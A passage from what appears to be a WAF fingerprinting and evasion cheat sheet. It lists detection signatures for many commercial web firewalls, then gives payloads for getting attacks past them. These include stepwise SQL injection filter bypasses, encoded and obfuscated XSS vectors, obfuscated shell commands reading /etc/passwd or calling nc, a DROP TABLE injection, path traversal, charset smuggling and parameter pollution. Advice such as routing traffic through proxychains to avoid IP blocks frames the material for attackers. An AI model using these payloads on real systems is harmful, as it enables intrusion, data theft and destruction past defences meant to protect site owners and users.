 Detection Methodology: 
 
 Response code returned is 404 Not Found upon malicious requests. 
 Blocked response page contains either of the following text snippet: 
 
 BRICK-50 keyword. 
 404 Not Found text snippet. 
 
 
 
 
 
 
 
 SquidProxy IDS
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains field value squid/{version} . 
 Blocked response page contains Access control configuration prevents your request from being allowed at this time. . 
 
 
 
 
 
 
 StackPath
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Contains image displaying StackPath logo. 
 Blocked response page contains You performed an action that triggered the service and blocked your request . 
 
 
 
 
 
 
 Stingray
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Blocked response code returns 403 Forbidden or 500 Internal Error . 
 Response headers contain the X-Mapping header field name. 
 
 
 
 
 
 
 Sucuri CloudProxy
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers may contain Sucuri or Cloudproxy keywords. 
 Blocked response page contains the following text snippet: 
 
 Access Denied - Sucuri Website Firewall text. 
 Reference to https://sucuri.net/privacy-policy URL. 
 Sometimes the email cloudproxy@sucuri.net . 
 Contains copyright notice ;copy {year} Sucuri Inc . 
 
 Response headers contains X-Sucuri-ID header along with normal requests. 
 
 
 
 
 
 
 Synology Cloud
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved. as text. 
 
 
 
 
 
 
 Tencent Cloud
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Blocked response code returns 405 Method Not Allowed error. 
 Blocked response page contains reference to waf.tencent-cloud.com URL. 
 
 
 
 
 
 
 Teros
 
 
 
 Detectability: Difficult 
 Detection Methodology: 
 
 Response headers contain cookie field st8id . 
 
 
 
 
 
 
 TrafficShield
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server might contain F5-TrafficShield keyword. 
 ASINFO= value might be detected in response cookies. 
 
 
 
 
 
 
 TransIP
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain unique header X-TransIP-Backend . 
 Response headers contain another header X-TransIP-Balancer . 
 
 
 
 
 
 
 UCloud UEWaf
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response content might contain:
 
 Reference to /uewaf_deny_pages/default/img/ inurl directory. 
 ucloud.cn URL. 
 
 Response headers returned has Server header set to uewaf/{version} . 
 
 
 
 
 
 
 URLMaster SecurityCheck
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers might contain:
 
 UrlMaster keyword. 
 UrlRewriteModule keyword. 
 SecurityCheck keyword. 
 
 Blocked response code returned is 400 Bad Request text snippet. 
 
 
 
 
 
 
 URLScan
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 
 Blocked response page contains: 
 
 Rejected-by-URLScan text snippet. 
 Server Erro in Application as heading. 
 Module: IIS Web Core in table. 
 
 
 
 
 
 
 
 USP Secure Entry
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response headers contain Secure Entry Server field value. 
 
 
 
 
 
 
 Varnish (OWASP)
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Malicious request returns 404 Not Found Error. 
 Response page contains: 
 
 Request rejected by xVarnish-WAF text snippet. 
 
 
 
 
 
 
 
 Varnish CacheWall
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains: 
 
 Error 403 Naughty, not Nice! as heading. 
 Varnish cache Server as text. 
 
 
 
 
 
 
 
 Viettel
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains: 
 
 Block page has title set to Access denied · Viettel WAF . 
 Reference to https://cloudrity.com.vn/ URL. 
 Response page contains keywords Viettel WAF system . 
 Contact information reference to https://cloudrity.com.vn/customer/#/contact URL. 
 
 
 
 
 
 
 
 VirusDie
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response page contains: 
 
 http://cdn.virusdie.ru/splash/firewallstop.png picture. 
 copy; Virusdie.ru copyright notice. 
 Response page title contains Virusdie keyword. 
 Page metadata contains name="FW_BLOCK" keyword 
 
 
 
 
 
 
 
 WallArm
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Server headers contain nginx-wallarm value. 
 
 
 
 
 
 
 WatchGuard IPS
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server headers may contain WatchGuard field value. 
 Blocked response page contains: 
 
 Request denied by WatchGuard Firewall text. 
 WatchGuard Technologies Inc. as footer. 
 
 
 
 
 
 
 
 WebARX Security
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Restricted to specifically WordPress sites only. 
 Blocked response page contains: 
 
 This request has been blocked by WebARX Web Application Firewall text. 
 Reference to /wp-content/plugins/webarx/ directory where it is installed. 
 
 
 
 
 
 
 
 WebKnight
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain WebKnight keyword. 
 Blocked response page contains: 
 
 WebKnight Application Firewall Alert text warning. 
 AQTRONIX WebKnight text snippet. 
 
 Blocked response code returned is 999 No Hacking . :p 
 Blocked response code returned is also 404 Hack Not Found . :p 
 
 
 
 
 
 
 WebLand
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains Apache Protected By WebLand WAF keyword. 
 
 
 
 
 
 
 WebRay
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains WebRay-WAF keyword. 
 Response headers may have DrivedBy field with value RaySrv RayEng/{version} . 
 
 
 
 
 
 
 WebSEAL
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contain WebSEAL keyword. 
 Blocked response page contains: 
 
 This is a WebSEAL error message template file text. 
 WebSEAL server received an invalid HTTP request text snippet. 
 
 
 
 
 
 
 
 WebTotem
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains The current request was blocked by WebTotem . 
 
 
 
 
 
 
 West263CDN
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain X-Cache header field with WT263CDN value. 
 
 
 
 
 
 
 Wordfence
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain WebKnight keyword. 
 Blocked response page contains: 
 
 Generated by Wordfence text snippet. 
 A potentially unsafe operation has been detected in your request to this site text warning. 
 Your access to this site has been limited text warning. 
 This response was generated by Wordfence text snippet. 
 
 
 
 
 
 
 
 WTS-WAF
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page title has WTS-WAF keyword. 
 Server header contains wts as value. 
 
 
 
 
 
 
 XLabs Security WAF
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response headers contain X-CDN header field with XLabs Security value. 
 
 
 
 
 
 
 Xuanwudun WAF
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains reference to http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL. 
 
 
 
 
 
 
 Yunaq Chuangyu
 
 
 
 Detectability: Moderate 
 Detection Methodology: 
 
 Response page has reference to:
 
 365cyd.com or 365cyd.net URL. 
 Reference to help page at http://help.365cyd.com/cyd-error-help.html?code=403 . 
 
 
 
 
 
 
 
 
 Yundun
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header contains YUNDUN as value. 
 X-Cache header field contains YUNDUN as value. 
 Response page contains Blocked by YUNDUN Cloud WAF text snippet. 
 Blocked response page contains reference to yundun.com/yd_http_error/ URL. 
 
 
 
 
 
 
 Yunsuo
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains image class reference to yunsuologo . 
 Response headers contain the yunsuo_session field name. 
 
 
 
 
 
 
 YxLink
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Response might have yx_ci_session cookie field. 
 Response might have yx_language cookie field. 
 Server header contains Yxlink-WAF field value. 
 
 
 
 
 
 
 ZenEdge
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Blocked response page contains reference to /__zenedge/assets/ directory. 
 Server header contain ZENEDGE keyword. 
 Blocked response headers may contain X-Zen-Fury header. 
 
 
 
 
 
 
 ZScaler
 
 
 
 Detectability: Easy 
 Detection Methodology: 
 
 Server header has value set to ZScaler . 
 Blocked response page contains:
 
 Access Denied: Accenture Policy text. 
 Reference to https://policies.accenture.com URL. 
 Reference to image at https://login.zscloud.net/img_logo_new1.png . 
 Your organization has selected Zscaler to protect you from internet threats . 
 The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate . 
 
 
 
 
 
 
 
 Evasion Techniques 
 Lets look at some methods of bypassing and evading WAFs. 
 Fuzzing/Bruteforcing: 
 Method: 
 Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: 
 
 Wordlists specifically for fuzzing
 
 
 Seclists/Fuzzing . 
 
 Fuzz-DB/Attack 
 
 
 Other Payloads 
 
 
 
 
 Technique: 
 
 Load up your wordlist into fuzzer and start the bruteforce. 
 Record/log all responses from the different payloads fuzzed. 
 Use random user-agents, ranging from Chrome Desktop to iPhone browser. 
 If blocking noticed, increase fuzz latency (eg. 2-4 secs). 
 Always use proxychains, since chances are real that your IP gets blocked. 
 
 Drawbacks: 
 
 This method often fails. 
 Many a times your IP will be blocked (temporarily/permanently). 
 
 Regex Reversing: 
 Method: 
 
 Most efficient method of bypassing WAFs. 
 Some WAFs rely upon matching the attack payloads with the signatures in their databases. 
 Payload matches the reg-ex the WAF triggers alarm. 
 
 Techniques: 
 Blacklisting Detection/Bypass 
 
 In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted. 
 The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords. 
 
 Case : SQL Injection 
 • Step 1: 
 Keywords Filtered : and , or , union 
 Probable Regex : preg_match('/(and|or|union)/i', $id) 
 
 
 Blocked Attempt : union select user, password from users 
 
 
 Bypassed Injection : 1 || (select user from users where user_id = 1) = 'admin' 
 
 
 • Step 2: 
 Keywords Filtered : and , or , union , where 
 
 
 Blocked Attempt : 1 || (select user from users where user_id = 1) = 'admin' 
 
 
 Bypassed Injection : 1 || (select user from users limit 1) = 'admin' 
 
 
 • Step 3: 
 Keywords Filtered : and , or , union , where , limit 
 
 
 Blocked Attempt : 1 || (select user from users limit 1) = 'admin' 
 
 
 Bypassed Injection : 1 || (select user from users group by user_id having user_id = 1) = 'admin' 
 
 
 • Step 4: 
 Keywords Filtered : and , or , union , where , limit , group by 
 
 
 Blocked Attempt : 1 || (select user from users group by user_id having user_id = 1) = 'admin' 
 
 
 Bypassed Injection : 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1 
 
 
 • Step 5: 
 Keywords Filtered : and , or , union , where , limit , group by , select 
 
 
 Blocked Attempt : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 
 
 
 Bypassed Injection : 1 || 1 = 1 into outfile 'result.txt' 
 
 
 Bypassed Injection : 1 || substr(user,1,1) = 'a' 
 
 
 • Step 6: 
 Keywords Filtered : and , or , union , where , limit , group by , select , ' 
 
 
 Blocked Attempt : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 
 
 
 Bypassed Injection : 1 || user_id is not null 
 
 
 Bypassed Injection : 1 || substr(user,1,1) = 0x61 
 
 
 Bypassed Injection : 1 || substr(user,1,1) = unhex(61) 
 
 
 • Step 7: 
 Keywords Filtered : and , or , union , where , limit , group by , select , ' , hex 
 
 
 Blocked Attempt : 1 || substr(user,1,1) = unhex(61) 
 
 
 Bypassed Injection : 1 || substr(user,1,1) = lower(conv(11,10,36)) 
 
 
 • Step 8: 
 Keywords Filtered : and , or , union , where , limit , group by , select , ' , hex , substr 
 
 
 Blocked Attempt : 1 || substr(user,1,1) = lower(conv(11,10,36)) 
 
 
 Bypassed Injection : 1 || lpad(user,7,1) 
 
 
 • Step 9: 
 Keywords Filtered : and , or , union , where , limit , group by , select , ' , hex , substr , white space 
 
 
 Blocked Attempt : 1 || lpad(user,7,1) 
 
 
 Bypassed Injection : 1%0b||%0blpad(user,7,1) 
 
 
 Obfuscation: 
 Method: 
 
 Encoding payload to different encodings (a hit and trial approach). 
 You can encode whole payload, or some parts of it and test recursively. 
 
 Techniques: 
 1. Case Toggling 
 
 Some poorly developed WAFs filter selectively specific case WAFs. 
 We can combine upper and lower case characters for developing efficient payloads. 
 
 Standard : <script>alert()</script> 
 Bypassed : <ScRipT>alert()</sCRipT> 
 Standard : SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME' 
 Bypassed : sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME' 
 2. URL Encoding 
 
 Encode normal payloads with % encoding/URL encoding. 
 Can be done with online tools like this . 
 Burp includes a in-built encoder/decoder. 
 
 Blocked : <svG/x=">"/oNloaD=confirm()// 
 Bypassed : %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F 
 Blocked : uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12) 
 Bypassed : uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29 
 3. Unicode Normalization 
 
 ASCII characters in unicode encoding encoding provide great variants for bypassing. 
 You can encode entire/part of the payload for obtaining results. 
 
 Standard : <marquee onstart=prompt()> 
 Obfuscated : <marquee onstart=\u0070r\u06f\u006dpt()> 
 Blocked : /?redir=http://google.com 
 Bypassed : /?redir=http://google。com (Unicode alternative) 
 Blocked : <marquee loop=1 onfinish=alert()>x 
 Bypassed : ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative) 
 
 TIP: Have a look at this and this reports on HackerOne. :) 
 
 Standard : ../../etc/passwd 
 Obfuscated : %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd 
 4. HTML Representation 
 
 Often web apps encode special characters into HTML encoding and render them accordingly. 
 This leads us to basic bypass cases with HTML encoding (numeric/generic). 
 
 Standard : "><img src=x onerror=confirm()> 
 Encoded : &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form) 
 Encoded : &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference) 
 5. Mixed Encoding 
 
 Sometimes, WAF rules often tend to filter out a specific type of encoding. 
 This type of filters can be bypassed by mixed encoding payloads. 
 Tabs and newlines further add to obfuscation. 
 
 Obfuscated : 
 <A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
 
 6. Using Comments 
 
 Comments obfuscate standard payload vectors. 
 Different payloads have different ways of obfuscation. 
 
 Blocked : <script>alert()</script> 
 Bypassed : <!--><script>alert/**/()/**/</script> 
 Blocked : /?id=1+union+select+1,2,3-- 
 Bypassed : /?id=1+un/**/ion+sel/**/ect+1,2,3-- 
 7. Double Encoding 
 
 Often WAF filters tend to encode characters to prevent attacks. 
 However poorly developed filters (no recursion filters) can be bypassed with double encoding. 
 
 Standard : http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\ 
 Obfuscated : http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ 
 Standard : <script>alert()</script> 
 Obfuscated : %253Cscript%253Ealert()%253C%252Fscript%253E 
 8. Wildcard Obfuscation 
 
 Globbing patterns are used by various command-line utilities to work with multiple files. 
 We can tweak them to execute system commands. 
 Specific to remote code execution vulnerabilities on linux systems. 
 
 Standard : /bin/cat /etc/passwd 
 Obfuscated : /???/??t /???/??ss?? 
Used chars: / ? t s 
 Standard : /bin/nc 127.0.0.1 1337 
 Obfuscated : /???/n? 2130706433 1337 
Used chars: / ? n [0-9] 
 9. Dynamic Payload Generation 
 
 Different programming languages have different syntaxes and patterns for concatenation. 
 This allows us to effectively generate payloads that can bypass many filters and rules. 
 
 Standard : <script>alert()</script> 
 Obfuscated : <script>eval('al'+'er'+'t()')</script> 
 Standard : /bin/cat /etc/passwd 
 Obfuscated : /bi'n'''/c''at' /e'tc'/pa''ss'wd 
 
 Bash allows path concatenation for execution. 
 
 Standard : <iframe/onload='this["src"]="javascript:alert()"';> 
 Obfuscated : <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:al"+"er"+"t()"';> 
 9. Junk Characters 
 
 Normal payloads get filtered out easily. 
 Adding some junk chars helps avoid detection (specific cases only). 
 They often help in confusing regex based firewalls. 
 
 Standard : <script>alert()</script> 
 Obfuscated : <script>+-+-1-+-+alert(1)</script> 
 Standard : <BODY onload=alert()> 
 Obfuscated : <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()> 
 
 NOTE: The above payload can break the regex parser to cause an exception. 
 
 Standard : <a href=javascript;alert()>ClickMe 
 Bypassed : <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe 
 10. Line Breaks 
 
 Many WAF with regex based filtering effectively blocks many attempts. 
 Line breaks (CR/LF) can break firewall regex and bypass stuff. 
 
 Standard : <iframe src=javascript:confirm(0)"> 
 Obfuscated : <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)"> 
 11. Uninitialized Variables 
 
 Uninitialized bash variables can evade bad regular expression based filters and pattern match. 
 These have value equal to null/they act like empty strings. 
 Both bash and perl allow this kind of interpretations. 
 
 
 BONUS: Variable names can have any number of random characters. I have represented them here as $aaaaaa , $bbbbbb , and so on. You can replace them with any number of random chars like $ushdjah and so on. ;) 
 
 
 
 Level 1 Obfuscation : Normal 
 Standard : /bin/cat /etc/passwd 
 Obfuscated : /bin/cat$u /etc/passwd$u 
 
 
 Level 2 Obfuscation : Postion Based 
 Standard : /bin/cat /etc/passwd 
 Obfuscated : $u /bin $u /cat $u $u /etc $u /passwd $u 
 
 
 Level 3 Obfuscation : Random characters 
 Standard : /bin/cat /etc/passwd 
 Obfuscated : $aaaaaa /bin $bbbbbb /cat $ccccccc $dddddd /etc $eeeeeee /passwd $fffffff 
 
 
 An exotic payload crafted: 
 $sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
 
 12. Tabs and Line Feeds 
 
 Tabs often help to evade firewalls especially regex based ones. 
 Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs. 
 
 Standard : <IMG SRC="javascript:alert();"> 
 Bypassed : <IMG SRC=" javascript:alert();"> 
 Variant : <IMG SRC=" jav ascri pt:alert ();"> 
 Standard : http://test.com/test?id=1 union select 1,2,3 
 Standard : http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 
 Standard : <iframe src=javascript:alert(1)></iframe> 
 Obfuscated : 
 <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
 
 13. Token Breakers 
 
 
 Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers. 
 
 
 Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature. 
 
 
 However, the request must still remain valid while using token-breakers. 
 
 
 Case : Unknown Token for the Tokenizer 
 
 
 Payload : ?id=‘-sqlite_version() UNION SELECT password FROM users -- 
 
 
 
 
 Case : Unknown Context for the Parser (Notice the uncontexted bracket) 
 
 
 Payload 1 : ?id=123);DROP TABLE users -- 
 
 
 Payload 2 : ?id=1337) INTO OUTFILE ‘xxx’ -- 
 
 
 
 
 
 TIP: More payloads can be crafted via this cheat sheet . 
 
 14. Obfuscation in Other Formats 
 
 Many web applications support different encoding types and can interpret the encoding (see below). 
 Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in. 
 
 Case: IIS 
 
 IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations. 
 We can encode our payload and send the encoded parameters with the query. 
 
 Original Request: 
 POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41

id2='union all select * from users--
 
 Obfuscated Request + URL Encoding: 
 POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
 
 The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them): 
 
 TIP: You can use this small python script to convert your payloads and parameters to your desired encodings. 
 
 
 
 Target 
 Encodings 
 Notes 
 
 
 Nginx, uWSGI-Django-Python3 
 IBM037, IBM500, cp875, IBM1026, IBM273 
 
 
 Query string and body need to be encoded. 
 Url-decoded parameters in query string and body. 
 Equal sign and ampersand needed to be encoded as well (no url-encoding). 
 
 
 
 
 Nginx, uWSGI-Django-Python2 
 IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 
 
 
 Query string and body need to be encoded. 
 Url-decoded parameters in query string and body afterwards. 
 Equal sign and ampersand should not be encoded in any way. 
 
 
 
 
 Apache-TOMCAT8-JVM1.8-JSP 
 IBM037, IBM500, IBM870, cp875, IBM1026,
 IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
 IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
 utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
 IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,
 IBM424, IBM-Thai, IBM871, cp1025 
 
 
 Query string in its original format (could be url-encoded as usual). 
 Body could be sent with/without url-encoding. 
 Equal sign and ampersand should not be encoded in any way. 
 
 
 
 
 Apache-TOMCAT7-JVM1.6-JSP 
 IBM037, IBM500, IBM870, cp875, IBM1026,
 IBM01140, IBM01141, IBM01142, IBM01143, IBM01144,
 IBM01145, IBM01146, IBM01147, IBM01148, IBM01149,
 utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278,
 IBM280, IBM284, IBM285, IBM297, IBM420, IBM424,
 IBM-Thai, IBM871, cp1025 
 
 
 Query string in its original format (could be url-encoded as usual). 
 Body could be sent with/without url-encoding. 
 Equal sign and ampersand should not be encoded in any way. 
 
 
 
 
 IIS6, 7.5, 8, 10 -ASPX (v4.x) 
 IBM037, IBM500, IBM870, cp875, IBM1026,
 IBM01047, IBM01140, IBM01141, IBM01142, IBM01143,
 IBM01144, IBM01145, IBM01146, IBM01147, IBM01148,
 IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE,
 IBM273, IBM277, IBM278, IBM280, IBM284, IBM285,
 IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended,
 IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 
 
 
 Query string in its original format (could be url-encoded as usual). 
 Body could be sent with/without url-encoding. 
 Equal sign and ampersand should not be encoded in any way. 
 
 
 
 
 HTTP Parameter Pollution 
 Method: 
 
 This attack method is based on how a server interprets parameters with the same names. 
 Possible bypass chances here are:
 
 The server uses the last received parameter, and WAF checks only the first. 
 The server unites the value from similar parameters, and WAF checks them separately. 
 
 
 
 Technique: 
 
 The idea is to enumerate how the parameters are being interpreted by the server. 
 In such a case we can pass the payload to a parameter which isn't being inspected by the WAF. 
 Distributing a payload across parameters which can later get concatenated by the server is also useful. 
 
 Below is a comparison of different servers and their relative interpretations: 
 
 
 Environment 
 Parameter Interpretation 
 Example 
 
 
 ASP/IIS 
 Concatenation by comma 
 par1=val1,val2 
 
 
 JSP, Servlet/Apache Tomcat 
 First parameter is resulting 
 par1=val1 
 
 
 ASP.NET/IIS 
 Concatenation by comma 
 par1=val1,val2 
 
 
 PHP/Zeus 
 Last parameter is resulting 
 par1=val2 
 
 
 PHP/Apache 
 Last parameter is resulting 
 par1=val2 
 
 
 JSP, Servlet/Jetty 
 First parameter is resulting 
 par1=val1 
 
 
 IBM Lotus Domino 
 First parameter is resulting 
 par1=val1 
 
 
 IBM HTTP Server 
 Last parameter is resulting 
 par1=val2 
 
 
 mod_perl, libapeq2/Apache 
 First parameter is resulting 
 par1=val1 
 
 
 Oracle Application Server 10G 
 First parameter is resulting 
 par1=val1 
 
 
 Perl CGI/Apache 
 First parameter is resulting 
 par1=val1 
 
 
 Python/Zope 
 First parameter is resulting 
 par1=val1 
 
 
 IceWarp 
 An array is returned 
 ['val1','val2'] 
 
 
 AXIS 2400 
 Last parameter is resulting 
 par1=val2 
 
 
 DBMan 
 Concatenation by two tildes 
 par1=val1~~val2 
 
 
 mod-wsgi (Python)/Apache 
 An array is returned 
 ARRAY(0x8b9058c) 
 
 
 HTTP Parameter Fragmentation 
 
 HPF is based on the principle where the server unites the value being passed along the parameters. 
 We can split the payload into different components and then pass the values via the parameters. 
 
 Sample Payload : 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS 
 Sample Query URL : http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS 
 
 TIP: A real life example how bypasses can be crafted using this method can be found here . 
 
 Browser Bugs: 
 Charset Bugs: 
 
 We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads. 
 When the site decodes the string, the payload gets triggered. 
 
 Example request: 
 
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
 Accept-Charset:utf-32; q=0.5 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
 
 When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS. 
 Final URL encoded payload: 
 %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 
 
 Null Bytes: 
 
 The null bytes are commonly used as string terminator. 
 This can help us evade many web application filters in case they are not filtering out the null bytes. 
 
 Payload examples: 
 <scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
 
 Standard : <a href="javascript:alert()"> 
 Obfuscated : <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> 
 Variant : <a 0x00 href="javascript:alert(1)">clickme</a> 
 Parsing Bugs: 
 
 RFC states that NodeNames cannot begin with whitespace. 
 But we can use special chars like % , // , ! , ? , etc. 
 
 Examples: 
 
 
 <// style=x:expression\28write(1)\29> - Works upto IE7 ( Source ) 
 
 
 <!--[if]><script>alert(1)</script --> - Works upto IE9 ( Reference ) 
 
 
 <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 ( Reference ) 
 
 
 <%div%20style=xss:expression(prompt(1))> - Works Upto IE7 
 
 Unicode Separators: 
 
 Every browser has their own specific charset of separators. 
 We can fuzz charset range of 0x00 to 0xFF and get the set of separators for each browser. 
 We can use these separators in places where a space is required. 
 
 Here is a compiled list of separators by @Masato Kinugawa : 
 
 IExplorer: 0x09 , 0x0B , 0x0C , 0x20 , 0x3B 
 
 Chrome: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B 
 
 Safari: 0x2C , 0x3B 
 
 FireFox: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B 
 
 Opera: 0x09 , 0x20 , 0x2C , 0x3B 
 
 Android: 0x09 , 0x20 , 0x28 , 0x2C , 0x3B 
 
 
 An exotic payload example: 
 <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
 
 Using Atypical Equivalent Syntactic Structures 
 
 This method aims at finding a way of exploitation not considered by the WAF developers. 
 Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all. 
 This payload is accepted and executed by the server after going through the firewall. 
 
 Some common keywords overlooked by WAF developers: 
 
 JavaScript functions:
 
 
 window 
 
 
 parent 
 
 
 this 
 
 
 self 
 
 
 
 Tag attributes:
 
 
 onwheel 
 
 
 ontoggle 
 
 
 onfilterchange 
 
 
 onbeforescriptexecute 
 
 
 ondragstart 
 
 
 onauxclick 
 
 
 onpointerover 
 
 
 srcdoc 
 
 
 
 SQL Operators
 
 
 lpad 
 
 
 field 
 
 
 bit_count 
 
 
 
 
 Example Payloads: 
 
 
 Case: XSS 
 
 <script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
 
 
 
 Case: SQLi 
 
 SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
 
 Many alternatives to the original JavaScript can be used, namely: 
 
 
 JSFuck 
 
 
 JJEncode 
 
 
 XChars.JS 
 
 
 
 However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;) 
 
 Abusing SSL/TLS Ciphers: 
 
 Many a times, servers do accept connections from various SSL/TLS ciphers and versions. 
 Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload. 
 
 Technique: 
 
 Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this). 
 Find out the ciphers supported by the server (tools like SSLScan helps here). 
 If a specific cipher not supported by WAF but by the server, is found, voila! 
 Initiating a new connection to the server with that specific cipher should smuggle our payload in. 
 
 
 Tool : abuse-ssl-bypass-waf 
 
 python abuse-ssl-bypass-waf.py -thread 4 -target <target>
 
 CLI tools like cURL can come very handy for PoCs: 
 curl --ciphers <cipher> -G <test site> -d <payload with parameter>
 
 Abuse WAF limit on HTTP Responses 
 Method 
 
